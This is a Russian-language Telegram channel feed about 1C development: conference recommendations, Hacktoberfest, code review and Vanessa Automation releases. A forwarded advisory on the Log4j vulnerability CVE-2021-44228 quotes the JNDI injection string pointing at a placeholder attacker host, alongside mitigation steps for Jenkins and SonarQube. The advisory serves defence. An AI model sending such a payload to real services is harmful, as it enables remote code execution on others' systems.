Александр Кунташов — про 1С и не только
2.47K subscribers
219 photos
10 videos
417 links
Заметки про разработку и смежные штуки: 1С, Vanessa Automation, DevOps в 1С, OneScript, PHP, Linux, JS, Python и всякое вокруг и около ИТ.
Download Telegram
Уже не новость, что в ноябре конференция INFOSTART EVENT едет наконец-то покорять Москву, полным ходом идет голосование.

"Кинофестивальная" концепция получается 🔥, и очень хочется, чтобы и содержательная часть не отставала, и сейчас вы своим голосом также можете повлиять на программу.

Я уже за все, что хотел, проголосовал, но все равно каждый день заглядываю в списки докладов, проверить как дела у тех, которые мне очень хотелось бы услышать обязательно. В том числе по этой корыстной причине хочу наиболее интересные мне доклады из каждой секции порекомендовать и вам, надеюсь, вы тоже поставите им 👍
📌 Здесь для меня максимально интересен с практической точки зрения доклад «Consul. Разделяй и властвуй» Бориса Стоянова. Мы сейчас в команде ИТ-Лаборатории Инфостарта в одном из проектов, где есть куча взаимодействующих сервисов, столкнулись с задачами service discovery и присматриваемся к различным решениям этих проблем.

Как зачастую бывает: допустим, есть несколько информационных баз, каждая из которых взаимодействует с интернет-магазином. В каждой из ИБ в константах (а иногда и прямо в коде) прописан адрес сайта (а возможно даже IP), учетные данные (логин/пароль). Сайт переехал - нужно в каждой базе поменять все эти параметры. Сделали копии баз и развернули их в теством окружении - нужно позаботиться, чтобы базы из тестового окружения не начали обмениваться с рабочим сайтом. Добавили еще одну базу/сервис - нужно туда прописать все эти параметры. Это только одни из самых простых и поверхностных сценариев.

И вот инструменты типа Consul'а позволяют подобные (и не только) задачи решать. Каким образом, какие подводные камни могут встретиться, какие есть особенности с учетом специфики 1С - это я ожидаю услышать на докладе и судя по описанию это и будет.

📌 Еще в секции "Идеи и тренды" я сходил бы на доклад «Автодокументирование инфраструктуры ИТ-систем предприятия» Юрия Былинкина, потому что создание и (главное!) поддержание в актуальном состоянии документации — все еще постоянная боль для разработки, очень хочется найти лекарство.

📌 Интересны также оба доклада Игоря Антонова, особенно на тот, что про производительность фронта для 1С — эта тема для нашей команды тоже очень актуальна.

⭐️ И, конечно же, обязателен к посещению доклад Алексея Лустина, по которому все давно соскучались — и по его 🤯 выступлениям, и по горячим обсуждениям с участием Алексея в кулуарах и на круглых столах.

Приходите на конференцию, будет круто!

🎈Небольшой бонус для подписчиков моего канала: до 30 сентября по промокоду devnotes можно приобрести билеты на конференцию по тарифам Стандарт и VIP со скидкой 15%.

#infostartevent #промо
📊 В мире разработки очень часто обсуждаются проблемы грубости на кодревью, как зазнающиеся сеньоры-10х-программисты обижают своими замечаниями беззащитных коллег-миддлов и тем более джунов. Так ли это среди 1Сников по вашим ощущениям?
Вчера открылась регистрация на очередной Хактоберфест:

https://hacktoberfest.digitalocean.com/

В двух словах: это такой глобальный флешмоб, когда куча народу (не только программисты) в течение всего октября понемногу коммитят в различные опенсорсные проекты на гитхабе и получают за это признание и различные материальные поощрения от спонсоров в виде футболок, наклеек и прочего (призы дают за контрибьюшены в размере от 4 пулл-реквестов за месяц).

Причем тут 1С?

В нашем самобытном сообществе одинэсников за последние годы появилось много крутых открытых проектов на гитхабе. Причем это не какие-то нетленки, а серьезные продукты, используемые в продакшене и крупными компаниями, и даже нашим любимым вендором. Сама 1С на гитхабе вполне освоилась и даже PR в свои репы принимает.

Короче, присоединяйтесь )

Выбрать себе проект по душе можно из списка опенсорсных проектов, который собрала Вика Дорохина: https://infostart.ru/journal/news/news/obzor-open-source-proektov-dlya-raboty-s-1s-na-github-chast-i_1256756/
Обсудить результаты Хактоберфеста 2021 в части опенсорсных проектов на 1С сможем на INFOSTART EVENT 2021 в ноябре в Москве.

По промокоду devnotes сегодня можно приобрести билеты на конференцию по тарифам Стандарт и VIP со скидкой 15%.

#infostartevent #промо
🌐 В 1С добавляется поддержка асинхронной отправки HTTP-запросов

https://wonderland.v8.1c.ru/blog/rasshirenie-podderzhki-raboty-s-nttr-zaprosami/

А кто еще самостоятельно не разобрался с асинхронностью в 1С и будет на ноябрьской конференции IE 2021 11-12 ноября в Москве, приходите на нашу с Артуром Аюхановым секцию на доклад Василия Ханевича "Использование асинхронных методов в платформе 1С:Предприятие 8".

p.s. Просто любопытный факт, на который обратил внимание коллега: в статье Зазеркалья в заголовках HTTP написано кириллицей (эн-т-т-эр, при этом в тексте публикации латиницей).
🔥 В одном предложении DHH и 1С, вы можете себе это представить? :-)

Ребята из подкаста "Мы обречены" взяли интервью у DHH и задали вопрос про 1С (как относится к "локализованным" языкам программирования, типа 1С).

И благодаря DHH теперь у одинэсников появился отличный модный аргумент в свою пользу: 1С — это способ побега от монокультуры.

В 2021 году это звучит круче (современней, молодежней, если хотите), чем весь евангелизм от самой фирмы 1С за последние несколько лет.

https://www.youtube.com/watch?v=3ilndqrXsbk

upd. Блин, вы чего, DHH — это сооснователь 37Signals, создатель Basecamp, автор книг Rework и Remote, создатель Ruby on Rails в конце концов.
Традиционно на каждом INFOSTART EVENT'е для продвижения opensource-решений обязательно проводим технические мастер-классы, а в качестве ведущих выступают активные контрибьюторы этих проектов. В этом году мастер-класс будет проводить Дмитрий Овчаренко, который расскажет и покажет про разработку сервиса на OneScript.Web, а попутно "зацепит" различные смежные вопросы разработки на OneScript и не только.

Подробнее о мастер-классе в новости по ссылке:

https://event.infostart.ru/2021_msk/news/mir-1s/priglashaem-na-master-klass-po-razrabotke-na-onescript-web_1541972/

Небольшие спойлеры: вход для участников конференции свободный, даже если придете просто послушать — будет полезно.
Да простит меня Саша Кунташов, но это пост про репост :)

1С без предупреждения опубликовала... Вы не поверите. Планы по развитию платформы!

https://wonderland.v8.1c.ru/blog/plan-zadach-na-versiyu-8-3-22-platformy-1s-predpriyatie/

Да, не совсем те, что "озвучиваются на партнерском семинаре" (с), но это более-менее конечный список задач, планируемых к реализации в 8.3.22, хотя ее еще даже в бете нет.

Надеюсь, этот первый шажочек в пользу открытости планов и мечт вендора будет тепло принят сообществом. Хотя мы довольно ненасытные в этом плане, нам подавай все больше и больше! :)

Уважаемый вендор, спасибо за этот небольшой праздник и отдельное спасибо за УИД из ссылки в запросе, вуху!
Вчера буквально в одном из чатов по 1С, в котором состою, в очередной раз сетовали, что очень нехватает тестов штатного функционала для типовых конфигураций, которые бы с ними поставлялись: и для проведения автоматических регрессионных проверок после собственных доработок и в качестве примера "как надо делать".

И вот, пожалуйста, комплект сценарных тестов для 1С:УХ:

https://infostart.ru/journal/news/mir-1s/firma-1s-vylozhila-komplekt-avtomatizirovannogo-testirovaniya-1s-ukh_1545003/

Справедливости ради, отмечу, что для УНФ в поставку давно включаются сценарии поведения, и в ERP. Сценарии поведения в составе в УНФ мне лично очень нравится, как они сделаны. Рекомендую всем, кто разбирается, опираться на них в качестве примеров по крайней мере в начале пути.
🔎 Некоторое время назад я проводил опрос про код-ревью — хотел написать статью на эту тему и собирал к ней материал.

Подготовка к конференции и другие интересные рабочие задачи перетянули максимум внимания на себя, и черновик статьи, как бывает, ушел в стол.

А на прошлой неделе ютуб мне в рекомендациях подогнал свежее видео Яндекс.Академии с крутой лекцией Сергея Хандрикова о код-ревью:

👉 https://www.youtube.com/watch?v=YcdMet5j4qM

Там более 2х часов систематизированной информации о код-ревью. И нет, это не что-то абстрактное и академическое, а реальные практические советы. Там не только, что я хотел написать, а гораздо больше, более системно и без воды (что для двухчасового видео удивительно).

Особенно понравилось, что Сергей рассказал о код-ревью с обеих сторон: и с точки зрения автора кода, и с точки зрения ревьюера и разобрал различные типичные сценарии диалогов между ними в процессе ревью.

Есть в конце про нюансы код-ревью опенсорсных проектов.

👍👍 Обязательно для просмотра всем кто так или иначе связан с разработкой и независимо от того, проводит ли код-ревью ваша команда или нет.
Принципиально отказывался от публикации рекламы в этом канале, но она теперь тут добровольно-принудительно ☹️
На только что прогремевшем Infostart Event 2021 Moscow Premiere во второй день конференции был квест, одним из заданий которого была вот такая задачка, которую мы придумали с коллегами из ИТ-лаборатории Инфостарта. Технари решали самостоятельно, а управленцам нужно было найти программиста, который бы ее решил.

Попробуете тоже решить?
Какое значение будет в переменной А после выполнения кода на скриншоте в сообщении выше?
Anonymous Poll
28%
Код не пройдет синтаксический контроль
5%
"Инфостарт"
45%
42
16%
Неопределено
Ох, какую знакомую боль Самат описал. Уверен, вы тоже с таким сталкивались:

Начинается новый бизнес, сильно завязанный на софте. Первое время, все классно: один программист — хорошо, два — почти в два раза лучше. 10 программистов — можно делать вещи, о которых раньше и помыслить было нельзя.

Через 3-6 лет в компании уже 50 разработчиков. Продукт при этом практически не развивается, фичи доставляются разработкой в продакшен со скорость улитки. Добавьте к этому зарплаты разработчиков в 100-400 тысяч в месяц и вы можете представить, что чувствует бизнес. Почему так?

А происходило вот что: все эти годы, каждый раз, когда нужно было выбрать между «сделать фичу побыстрее прямо сейчас» и «сделать так, чтобы это можно было потом поддерживать, пусть и подольше прямо сейчас» — бизнес с разработкой вместе выбирали первый вариант. Логично, что рано или поздно гора неподдерживабельного кода становится слишком высокой и уже никто не может докинуть ещё что-то сверху.

(Продолжение см. по ссылке)
Forwarded from SilverBulleter's, LLC (Oleg Tymko)
❗️Уязвимость в библиотеке Log4j в экосистеме Java

Думаю многие, как и мы привыкли в стеке разработки использовать такие сервисы как Jenkins и SonarQube. Эти приложения написаны на языке Java и могут быть подвержены уязвимости CVE-2021-44228, исходящей от библиотеки Log4j версии 2.

Проблема вызвана тем, что Log4j2 поддерживает обработку специальных масок "{}" в выводимых в лог строках, в которых могли выполняться запросы JNDI (Java Naming and Directory Interface). Атака сводится к передаче строки с подстановкой ${jndi:ldap://attacker.com/a}, при обработке которой Log4j 2 отправит на сервер attacker.com LDAP-запрос пути к Java-классу. Возвращённый сервером атакующего путь (например, https://second-stage.attacker.com/Exploit.class) будет загружен и выполнен в контексте текущего процесса, что позволяет атакующему добиться выполнения произвольного кода в системе с правами текущего приложения (информация взята из источника).

Как себя обезопасить?🤔

⚙️Jenkins

В Jenkins Core эта библиотека не используется, но не исключает ее наличие в плагинах. Для проверки наличия уязвимости вам нужно зайти в Консоль сценариев (Настроить Jenkins -> Управление средами сборки -> узел master или built-in -> Консоль сценариев) и выполнить скрипт:

org.apache.logging.log4j.core.lookup.JndiLookup.class.protectionDomain.codeSource

Если выполнение скрипта привело к ошибке вида groovy.lang.MissingPropertyException: No such property: org for class: Script1, то библиотека Log4j2 в плагинах не используется.

Но если будет выведен путь и имя плагина, где все же используется библиотека, вам нужно будет удалить этот плагин, перезапустить сервис Jenkins и повторно выполнить скрипт в Консоли сценариев.

Официальный источник информации: Apache Log4j 2 vulnerability CVE-2021-44228.

⚙️SonarQube

Что касается сервиса SonarQube, то библиотека используется только в модуле ElasticSearch. Чтобы обезопасить сервис, нужно в конфигурационный файл SonarQube или переменную среды добавить -Dlog4j2.formatMsgNoLookups=true.

В конфигурационном файле sonar.properties нужно добавить или изменить настройку sonar.search.javaAdditionalOpts, например:

sonar.search.javaAdditionalOpts=-Dlog4j2.formatMsgNoLookups=true

Или через переменную среды в системе, контейнере и т.п:

SONAR_SEARCH_JAVAADDITIONALOPTS=-Dlog4j2.formatMsgNoLookups=true

После указания настройки нужно перезапустить сервис SonarQube.

Официальный источник информации: SonarQube and the Log4J vulnerability.
Вы наверное уже догадались, но теперь официально (с)!

Сегодня вечером в 19.00 по Москве будет проходить онлайн-игра "Что, Где, Когда" "Что, Если, Тогда".

Помимо интересных вопросов от телезрителей будут ещё и музыкальные паузы, в том числе с вот теми ребятами из Весёлого1С, которые сочиняли текст про "внешне все красиво, внутри полный одинэс".

Заглядывайте на огонёк, будут премьеры ;)

https://infostart.ru/journal/news/mir-1s/komanda-telezriteley-sobrana-proverim-znaniya-znatokov-na-onlayn-igre-chto-esli-togda_1575357/
🥒 В Vanessa Automation очередной большой релиз, обо всем подробно написала Вика в новости, повторяться не буду:

https://infostart.ru/journal/news/mir-1s/vanessa-automation-1-2-038-interaktivnaya-spravka-i-testirovanie-mobilnykh-prilozheniy_1576937/

Но отмечу пару интересных фич:

— Интерактивные уроки, реализованные средствами VA. В дополнение к ним недавно (в этом релизе пока нет) Дима Шерстобитов придумал/добавил механизм для реализации онбординга/интерактивного обучения пользователей, которое можно реализовать и внедрить прямо в информационной базе.

— Поддержка тестирования мобильного клиента и приложений на мобильной платформе (соответствующее API в платформе 1С:Предприятия было добавлено в релизах 8.3.19 и в 8.3.20 соответственно). Как я понимаю, тут тоже Дмитрий приложил руку.
🔥2👍1